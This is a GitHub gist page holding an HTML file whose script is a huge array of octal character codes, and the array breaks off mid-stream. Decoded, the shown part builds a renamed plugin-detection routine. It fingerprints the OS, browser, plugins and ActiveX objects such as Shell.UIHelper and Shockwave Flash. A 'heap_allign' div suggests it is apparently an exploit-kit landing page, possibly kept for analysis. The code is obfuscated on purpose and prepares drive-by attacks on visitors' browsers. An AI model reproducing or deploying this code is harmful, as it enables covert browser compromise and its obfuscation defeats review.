Created
February 18, 2013 20:09
-
-
Save st3fan/4980249 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title></title> | |
</head> | |
<body> | |
<div id="heap_allign"></div> | |
<div id="table_div"></div> | |
<div></div> | |
<script language="javascript"> | |
a = [0166, 0141, 0162, 040, 0160, 0144, 0160, 0144, 075, 0173, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 072, 042, 060, 056, 067, 056, 071, 042, 054, 0156, 0141, 0155, 0145, 072, 042, 0160, 0144, 0160, 0144, 042, 054, 0150, 0141, 0156, 0144, 0154, 0145, 0162, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 054, 0142, 054, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0143, 050, 0142, 054, 0141, 051, 0175, 0175, 054, 0157, 0160, 0145, 0156, 0124, 0141, 0147, 072, 042, 074, 042, 054, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0171, 0160, 0145, 0157, 0146, 040, 0142, 041, 075, 042, 0165, 0156, 0144, 0145, 0146, 0151, 0156, 0145, 0144, 042, 0175, 054, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 050, 057, 0141, 0162, 0162, 0141, 0171, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0117, 0142, 0152, 0145, 0143, 0164, 056, 0160, 0162, 0157, 0164, 0157, 0164, 0171, 0160, 0145, 056, 0164, 0157, 0123, 0164, 0162, 0151, 0156, 0147, 056, 0143, 0141, 0154, 0154, 050, 0142, 051, 051, 0175, 054, 0151, 0163, 0106, 0165, 0156, 0143, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0171, 0160, 0145, 0157, 0146, 040, 0142, 075, 075, 042, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 042, 0175, 054, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0171, 0160, 0145, 0157, 0146, 040, 0142, 075, 075, 042, 0163, 0164, 0162, 0151, 0156, 0147, 042, 0175, 054, 0151, 0163, 0116, 0165, 0155, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0171, 0160, 0145, 0157, 0146, 040, 0142, 075, 075, 042, 0156, 0165, 0155, 0142, 0145, 0162, 042, 0175, 054, 0151, 0163, 0123, 0164, 0162, 0116, 0165, 0155, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 050, 0164, 0171, 0160, 0145, 0157, 0146, 040, 0142, 075, 075, 042, 0163, 0164, 0162, 0151, 0156, 0147, 042, 046, 046, 050, 057, 0134, 0144, 057, 051, 056, 0164, 0145, 0163, 0164, 050, 0142, 051, 051, 0175, 054, 0147, 0145, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 072, 057, 0133, 0134, 0144, 0135, 0133, 0134, 0144, 0134, 056, 0134, 0137, 054, 055, 0135, 052, 057, 054, 0163, 0160, 0154, 0151, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 072, 057, 0133, 0134, 056, 0134, 0137, 054, 055, 0135, 057, 0147, 054, 0147, 0145, 0164, 0116, 0165, 0155, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0164, 0150, 0151, 0163, 054, 0141, 075, 0144, 056, 0151, 0163, 0123, 0164, 0162, 0116, 0165, 0155, 050, 0142, 051, 077, 050, 0144, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0143, 051, 077, 0156, 0145, 0167, 040, 0122, 0145, 0147, 0105, 0170, 0160, 050, 0143, 051, 072, 0144, 056, 0147, 0145, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 051, 056, 0145, 0170, 0145, 0143, 050, 0142, 051, 072, 0156, 0165, 0154, 0154, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 077, 0141, 0133, 060, 0135, 072, 0156, 0165, 0154, 0154, 0175, 054, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0150, 054, 0146, 054, 0144, 051, 0173, 0166, 0141, 0162, 040, 0145, 075, 0164, 0150, 0151, 0163, 054, 0143, 054, 0142, 054, 0141, 054, 0147, 075, 0160, 0141, 0162, 0163, 0145, 0111, 0156, 0164, 073, 0151, 0146, 050, 0145, 056, 0151, 0163, 0123, 0164, 0162, 0116, 0165, 0155, 050, 0150, 051, 046, 046, 0145, 056, 0151, 0163, 0123, 0164, 0162, 0116, 0165, 0155, 050, 0146, 051, 051, 0173, 0151, 0146, 050, 0145, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0144, 051, 046, 046, 0144, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0144, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0150, 054, 0146, 051, 0175, 0143, 075, 0150, 056, 0163, 0160, 0154, 0151, 0164, 050, 0145, 056, 0163, 0160, 0154, 0151, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 051, 073, 0142, 075, 0146, 056, 0163, 0160, 0154, 0151, 0164, 050, 0145, 056, 0163, 0160, 0154, 0151, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 051, 073, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0115, 0141, 0164, 0150, 056, 0155, 0151, 0156, 050, 0143, 056, 0154, 0145, 0156, 0147, 0164, 0150, 054, 0142, 056, 0154, 0145, 0156, 0147, 0164, 0150, 051, 073, 0141, 053, 053, 051, 0173, 0151, 0146, 050, 0147, 050, 0143, 0133, 0141, 0135, 054, 061, 060, 051, 076, 0147, 050, 0142, 0133, 0141, 0135, 054, 061, 060, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0147, 050, 0143, 0133, 0141, 0135, 054, 061, 060, 051, 074, 0147, 050, 0142, 0133, 0141, 0135, 054, 061, 060, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 055, 061, 0175, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0164, 0150, 0151, 0163, 054, 0141, 054, 0145, 073, 0151, 0146, 050, 041, 0144, 056, 0151, 0163, 0123, 0164, 0162, 0116, 0165, 0155, 050, 0142, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0156, 0165, 0154, 0154, 0175, 0151, 0146, 050, 041, 0144, 056, 0151, 0163, 0116, 0165, 0155, 050, 0143, 051, 051, 0173, 0143, 075, 064, 0175, 0143, 055, 055, 073, 0145, 075, 0142, 056, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 050, 057, 0134, 0163, 057, 0147, 054, 042, 042, 051, 056, 0163, 0160, 0154, 0151, 0164, 050, 0144, 056, 0163, 0160, 0154, 0151, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 051, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0133, 042, 060, 042, 054, 042, 060, 042, 054, 042, 060, 042, 054, 042, 060, 042, 0135, 051, 073, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 064, 073, 0141, 053, 053, 051, 0173, 0151, 0146, 050, 057, 0136, 050, 060, 053, 051, 050, 056, 053, 051, 044, 057, 056, 0164, 0145, 0163, 0164, 050, 0145, 0133, 0141, 0135, 051, 051, 0173, 0145, 0133, 0141, 0135, 075, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 062, 0175, 0151, 0146, 050, 0141, 076, 0143, 0174, 0174, 041, 050, 057, 0134, 0144, 057, 051, 056, 0164, 0145, 0163, 0164, 050, 0145, 0133, 0141, 0135, 051, 051, 0173, 0145, 0133, 0141, 0135, 075, 042, 060, 042, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0145, 056, 0163, 0154, 0151, 0143, 0145, 050, 060, 054, 064, 051, 056, 0152, 0157, 0151, 0156, 050, 042, 054, 042, 051, 0175, 054, 044, 044, 0150, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 051, 0173, 0151, 0146, 050, 041, 0141, 056, 0151, 0163, 0111, 0105, 046, 046, 0143, 051, 0173, 0166, 0141, 0162, 040, 0146, 054, 0145, 054, 0142, 054, 0144, 075, 0141, 056, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0143, 051, 077, 0143, 072, 050, 0141, 056, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 050, 0143, 051, 077, 0133, 0143, 0135, 072, 0133, 0135, 051, 073, 0146, 0157, 0162, 050, 0142, 075, 060, 073, 0142, 074, 0144, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0142, 053, 053, 051, 0173, 0151, 0146, 050, 0141, 056, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 050, 0144, 0133, 0142, 0135, 051, 046, 046, 057, 0133, 0136, 0134, 0163, 0135, 057, 056, 0164, 0145, 0163, 0164, 050, 0144, 0133, 0142, 0135, 051, 051, 0173, 0146, 075, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 0163, 0133, 0144, 0133, 0142, 0135, 0135, 073, 0145, 075, 0146, 077, 0146, 056, 0145, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 072, 060, 073, 0151, 0146, 050, 0145, 046, 046, 050, 0145, 056, 0156, 0141, 0155, 0145, 0174, 0174, 0145, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0175, 0175, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0156, 0165, 0154, 0154, 0175, 0175, 054, 0146, 0151, 0156, 0144, 0116, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0154, 054, 0145, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0152, 075, 0164, 0150, 0151, 0163, 054, 0150, 075, 0156, 0145, 0167, 040, 0122, 0145, 0147, 0105, 0170, 0160, 050, 0154, 054, 042, 0151, 042, 051, 054, 0144, 075, 050, 041, 0152, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0145, 051, 0174, 0174, 0145, 051, 077, 057, 0134, 0144, 057, 072, 060, 054, 0153, 075, 0143, 077, 0156, 0145, 0167, 040, 0122, 0145, 0147, 0105, 0170, 0160, 050, 0143, 054, 042, 0151, 042, 051, 072, 060, 054, 0141, 075, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0163, 054, 0147, 075, 042, 042, 054, 0146, 054, 0142, 054, 0155, 073, 0146, 0157, 0162, 050, 0146, 075, 060, 073, 0146, 074, 0141, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0146, 053, 053, 051, 0173, 0155, 075, 0141, 0133, 0146, 0135, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 0174, 0174, 0147, 073, 0142, 075, 0141, 0133, 0146, 0135, 056, 0156, 0141, 0155, 0145, 0174, 0174, 0147, 073, 0151, 0146, 050, 050, 0150, 056, 0164, 0145, 0163, 0164, 050, 0155, 051, 046, 046, 050, 041, 0144, 0174, 0174, 0144, 056, 0164, 0145, 0163, 0164, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 0154, 0145, 0146, 0164, 0103, 0157, 0156, 0164, 0145, 0170, 0164, 053, 0122, 0145, 0147, 0105, 0170, 0160, 056, 0162, 0151, 0147, 0150, 0164, 0103, 0157, 0156, 0164, 0145, 0170, 0164, 051, 051, 051, 0174, 0174, 050, 0150, 056, 0164, 0145, 0163, 0164, 050, 0142, 051, 046, 046, 050, 041, 0144, 0174, 0174, 0144, 056, 0164, 0145, 0163, 0164, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 0154, 0145, 0146, 0164, 0103, 0157, 0156, 0164, 0145, 0170, 0164, 053, 0122, 0145, 0147, 0105, 0170, 0160, 056, 0162, 0151, 0147, 0150, 0164, 0103, 0157, 0156, 0164, 0145, 0170, 0164, 051, 051, 051, 051, 0173, 0151, 0146, 050, 041, 0153, 0174, 0174, 041, 050, 0153, 056, 0164, 0145, 0163, 0164, 050, 0155, 051, 0174, 0174, 0153, 056, 0164, 0145, 0163, 0164, 050, 0142, 051, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0133, 0146, 0135, 0175, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0156, 0165, 0154, 0154, 0175, 054, 0147, 0145, 0164, 0115, 0151, 0155, 0145, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0153, 054, 0155, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0145, 075, 0164, 0150, 0151, 0163, 054, 0146, 054, 0142, 075, 0156, 0145, 0167, 040, 0122, 0145, 0147, 0105, 0170, 0160, 050, 0155, 054, 042, 0151, 042, 051, 054, 0150, 075, 042, 042, 054, 0147, 075, 0143, 077, 0156, 0145, 0167, 040, 0122, 0145, 0147, 0105, 0170, 0160, 050, 0143, 054, 042, 0151, 042, 051, 072, 060, 054, 0141, 054, 0154, 054, 0144, 054, 0152, 075, 0145, 056, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 050, 0153, 051, 077, 0133, 0153, 0135, 072, 0153, 073, 0146, 0157, 0162, 050, 0144, 075, 060, 073, 0144, 074, 0152, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0144, 053, 053, 051, 0173, 0151, 0146, 050, 050, 0146, 075, 0145, 056, 0150, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 050, 0152, 0133, 0144, 0135, 051, 051, 046, 046, 050, 0146, 075, 0146, 056, 0145, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 051, 051, 0173, 0154, 075, 0146, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 0174, 0174, 0150, 073, 0141, 075, 0146, 056, 0156, 0141, 0155, 0145, 0174, 0174, 0150, 073, 0151, 0146, 050, 0142, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 0174, 0174, 0142, 056, 0164, 0145, 0163, 0164, 050, 0141, 051, 051, 0173, 0151, 0146, 050, 041, 0147, 0174, 0174, 041, 050, 0147, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 0174, 0174, 0147, 056, 0164, 0145, 0163, 0164, 050, 0141, 051, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0175, 0175, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0147, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 0106, 0151, 0154, 0145, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0146, 054, 0142, 051, 0173, 0166, 0141, 0162, 040, 0150, 075, 0164, 0150, 0151, 0163, 054, 0145, 054, 0144, 054, 0147, 054, 0141, 054, 0143, 075, 055, 061, 073, 0151, 0146, 050, 0150, 056, 0117, 0123, 076, 062, 0174, 0174, 041, 0146, 0174, 0174, 041, 0146, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 0174, 0174, 041, 050, 0145, 075, 0150, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0146, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 051, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 0175, 0151, 0146, 050, 041, 0142, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0145, 0175, 0145, 075, 0150, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0145, 051, 073, 0142, 075, 0150, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0142, 051, 073, 0144, 075, 0142, 056, 0163, 0160, 0154, 0151, 0164, 050, 0150, 056, 0163, 0160, 0154, 0151, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 051, 073, 0147, 075, 0145, 056, 0163, 0160, 0154, 0151, 0164, 050, 0150, 056, 0163, 0160, 0154, 0151, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 051, 073, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0144, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0151, 0146, 050, 055, 061, 074, 0143, 046, 046, 0143, 074, 0141, 046, 046, 041, 050, 0144, 0133, 0141, 0135, 075, 075, 042, 060, 042, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 0175, 0151, 0146, 050, 0147, 0133, 0141, 0135, 041, 075, 0144, 0133, 0141, 0135, 051, 0173, 0151, 0146, 050, 0143, 075, 075, 055, 061, 051, 0173, 0143, 075, 0141, 0175, 0151, 0146, 050, 0144, 0133, 0141, 0135, 041, 075, 042, 060, 042, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 0175, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0145, 0175, 054, 0101, 0130, 0117, 072, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0117, 0142, 0152, 0145, 0143, 0164, 054, 0147, 0145, 0164, 0101, 0130, 0117, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0166, 0141, 0162, 040, 0146, 075, 0156, 0165, 0154, 0154, 054, 0144, 054, 0142, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0173, 0175, 073, 0164, 0162, 0171, 0173, 0146, 075, 0156, 0145, 0167, 040, 0142, 056, 0101, 0130, 0117, 050, 0141, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0144, 051, 0173, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0175, 054, 0143, 0157, 0156, 0166, 0145, 0162, 0164, 0106, 0165, 0156, 0143, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0146, 051, 0173, 0166, 0141, 0162, 040, 0141, 054, 0147, 054, 0144, 054, 0142, 075, 057, 0136, 0133, 0134, 044, 0135, 0133, 0134, 044, 0135, 057, 054, 0143, 075, 0164, 0150, 0151, 0163, 073, 0146, 0157, 0162, 050, 0141, 040, 0151, 0156, 040, 0146, 051, 0173, 0151, 0146, 050, 0142, 056, 0164, 0145, 0163, 0164, 050, 0141, 051, 051, 0173, 0164, 0162, 0171, 0173, 0147, 075, 0141, 056, 0163, 0154, 0151, 0143, 0145, 050, 062, 051, 073, 0151, 0146, 050, 0147, 056, 0154, 0145, 0156, 0147, 0164, 0150, 076, 060, 046, 046, 041, 0146, 0133, 0147, 0135, 051, 0173, 0146, 0133, 0147, 0135, 075, 0146, 0133, 0141, 0135, 050, 0146, 051, 073, 0144, 0145, 0154, 0145, 0164, 0145, 040, 0146, 0133, 0141, 0135, 0175, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0144, 051, 0173, 0175, 0175, 0175, 0175, 054, 0151, 0156, 0151, 0164, 0117, 0142, 0152, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0145, 054, 0142, 054, 0144, 051, 0173, 0166, 0141, 0162, 040, 0141, 054, 0143, 073, 0151, 0146, 050, 0145, 051, 0173, 0151, 0146, 050, 0145, 0133, 0142, 0133, 060, 0135, 0135, 075, 075, 061, 0174, 0174, 0144, 051, 0173, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0142, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 075, 0141, 053, 062, 051, 0173, 0145, 0133, 0142, 0133, 0141, 0135, 0135, 075, 0142, 0133, 0141, 053, 061, 0135, 0175, 0175, 0146, 0157, 0162, 050, 0141, 040, 0151, 0156, 040, 0145, 051, 0173, 0143, 075, 0145, 0133, 0141, 0135, 073, 0151, 0146, 050, 0143, 046, 046, 0143, 0133, 0142, 0133, 060, 0135, 0135, 075, 075, 061, 051, 0173, 0164, 0150, 0151, 0163, 056, 0151, 0156, 0151, 0164, 0117, 0142, 0152, 050, 0143, 054, 0142, 051, 0175, 0175, 0175, 0175, 054, 0151, 0156, 0151, 0164, 0123, 0143, 0162, 0151, 0160, 0164, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0164, 0150, 0151, 0163, 054, 0141, 075, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 054, 0150, 054, 0151, 075, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 054, 0154, 075, 0141, 056, 0165, 0163, 0145, 0162, 0101, 0147, 0145, 0156, 0164, 0174, 0174, 042, 042, 054, 0152, 075, 0141, 056, 0166, 0145, 0156, 0144, 0157, 0162, 0174, 0174, 042, 042, 054, 0142, 075, 0141, 056, 0160, 0154, 0141, 0164, 0146, 0157, 0162, 0155, 0174, 0174, 042, 042, 054, 0153, 075, 0141, 056, 0160, 0162, 0157, 0144, 0165, 0143, 0164, 0174, 0174, 042, 042, 073, 0144, 056, 0151, 0156, 0151, 0164, 0117, 0142, 0152, 050, 0144, 054, 0133, 042, 044, 042, 054, 0144, 0135, 051, 073, 0146, 0157, 0162, 050, 0150, 040, 0151, 0156, 040, 0144, 056, 0120, 0154, 0165, 0147, 0151, 0156, 0163, 051, 0173, 0151, 0146, 050, 0144, 056, 0120, 0154, 0165, 0147, 0151, 0156, 0163, 0133, 0150, 0135, 051, 0173, 0144, 056, 0151, 0156, 0151, 0164, 0117, 0142, 0152, 050, 0144, 056, 0120, 0154, 0165, 0147, 0151, 0156, 0163, 0133, 0150, 0135, 054, 0133, 042, 044, 042, 054, 0144, 054, 042, 044, 044, 042, 054, 0144, 056, 0120, 0154, 0165, 0147, 0151, 0156, 0163, 0133, 0150, 0135, 0135, 054, 061, 051, 0175, 0175, 0144, 056, 0143, 0157, 0156, 0166, 0145, 0162, 0164, 0106, 0165, 0156, 0143, 0163, 050, 0144, 051, 073, 0144, 056, 0117, 0123, 075, 061, 060, 060, 073, 0151, 0146, 050, 0142, 051, 0173, 0166, 0141, 0162, 040, 0147, 075, 0133, 042, 0127, 0151, 0156, 042, 054, 061, 054, 042, 0115, 0141, 0143, 042, 054, 062, 054, 042, 0114, 0151, 0156, 0165, 0170, 042, 054, 063, 054, 042, 0106, 0162, 0145, 0145, 0102, 0123, 0104, 042, 054, 064, 054, 042, 0151, 0120, 0150, 0157, 0156, 0145, 042, 054, 062, 061, 056, 061, 054, 042, 0151, 0120, 0157, 0144, 042, 054, 062, 061, 056, 062, 054, 042, 0151, 0120, 0141, 0144, 042, 054, 062, 061, 056, 063, 054, 042, 0127, 0151, 0156, 056, 042, 053, 042, 052, 0103, 0105, 042, 054, 062, 062, 056, 061, 054, 042, 0127, 0151, 0156, 056, 052, 0115, 0157, 0142, 0151, 0154, 0145, 042, 054, 062, 062, 056, 062, 054, 042, 0120, 0157, 0143, 0153, 0145, 0164, 0134, 0163, 052, 0120, 0103, 042, 054, 062, 062, 056, 063, 054, 042, 042, 054, 061, 060, 060, 0135, 073, 0146, 0157, 0162, 050, 0150, 075, 0147, 056, 0154, 0145, 0156, 0147, 0164, 0150, 055, 062, 073, 0150, 076, 075, 060, 073, 0150, 075, 0150, 055, 062, 051, 0173, 0151, 0146, 050, 0147, 0133, 0150, 0135, 046, 046, 0156, 0145, 0167, 040, 0122, 0145, 0147, 0105, 0170, 0160, 050, 0147, 0133, 0150, 0135, 054, 042, 0151, 042, 051, 056, 0164, 0145, 0163, 0164, 050, 0142, 051, 051, 0173, 0144, 056, 0117, 0123, 075, 0147, 0133, 0150, 053, 061, 0135, 073, 0142, 0162, 0145, 0141, 0153, 0175, 0175, 0175, 073, 0144, 056, 0150, 0145, 0141, 0144, 075, 0151, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0163, 0102, 0171, 0124, 0141, 0147, 0116, 0141, 0155, 0145, 050, 042, 0150, 0145, 0141, 0144, 042, 051, 0133, 060, 0135, 0174, 0174, 0151, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0163, 0102, 0171, 0124, 0141, 0147, 0116, 0141, 0155, 0145, 050, 042, 0142, 0157, 0144, 0171, 042, 051, 0133, 060, 0135, 0174, 0174, 0151, 056, 0142, 0157, 0144, 0171, 0174, 0174, 0156, 0165, 0154, 0154, 073, 0144, 056, 0151, 0163, 0111, 0105, 075, 0156, 0145, 0167, 040, 0106, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 042, 0162, 0145, 0164, 0165, 0162, 0156, 057, 052, 0100, 0143, 0143, 0137, 0157, 0156, 041, 0100, 052, 057, 041, 061, 042, 051, 050, 051, 073, 0144, 056, 0166, 0145, 0162, 0111, 0105, 075, 0144, 056, 0151, 0163, 0111, 0105, 046, 046, 050, 057, 0115, 0123, 0111, 0105, 0134, 0163, 052, 050, 0134, 0144, 053, 0134, 056, 077, 0134, 0144, 052, 051, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 077, 0160, 0141, 0162, 0163, 0145, 0106, 0154, 0157, 0141, 0164, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 054, 061, 060, 051, 072, 0156, 0165, 0154, 0154, 073, 0144, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 075, 0146, 0141, 0154, 0163, 0145, 073, 0151, 0146, 050, 0144, 056, 0151, 0163, 0111, 0105, 051, 0173, 0166, 0141, 0162, 040, 0150, 054, 0155, 075, 0133, 042, 0115, 0163, 0170, 0155, 0154, 062, 056, 0130, 0115, 0114, 0110, 0124, 0124, 0120, 042, 054, 042, 0115, 0163, 0170, 0155, 0154, 062, 056, 0104, 0117, 0115, 0104, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 042, 054, 042, 0115, 0151, 0143, 0162, 0157, 0163, 0157, 0146, 0164, 056, 0130, 0115, 0114, 0104, 0117, 0115, 042, 054, 042, 0123, 0150, 0157, 0143, 0153, 0167, 0141, 0166, 0145, 0106, 0154, 0141, 0163, 0150, 056, 0123, 0150, 0157, 0143, 0153, 0167, 0141, 0166, 0145, 0106, 0154, 0141, 0163, 0150, 042, 054, 042, 0124, 0104, 0103, 0103, 0164, 0154, 056, 0124, 0104, 0103, 0103, 0164, 0154, 042, 054, 042, 0123, 0150, 0145, 0154, 0154, 056, 0125, 0111, 0110, 0145, 0154, 0160, 0145, 0162, 042, 054, 042, 0123, 0143, 0162, 0151, 0160, 0164, 0151, 0156, 0147, 056, 0104, 0151, 0143, 0164, 0151, 0157, 0156, 0141, 0162, 0171, 042, 054, 042, 0167, 0155, 0160, 0154, 0141, 0171, 0145, 0162, 056, 0157, 0143, 0170, 042, 0135, 073, 0146, 0157, 0162, 050, 0150, 075, 060, 073, 0150, 074, 0155, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0150, 053, 053, 051, 0173, 0151, 0146, 050, 0144, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0155, 0133, 0150, 0135, 051, 051, 0173, 0144, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 075, 0164, 0162, 0165, 0145, 073, 0142, 0162, 0145, 0141, 0153, 0175, 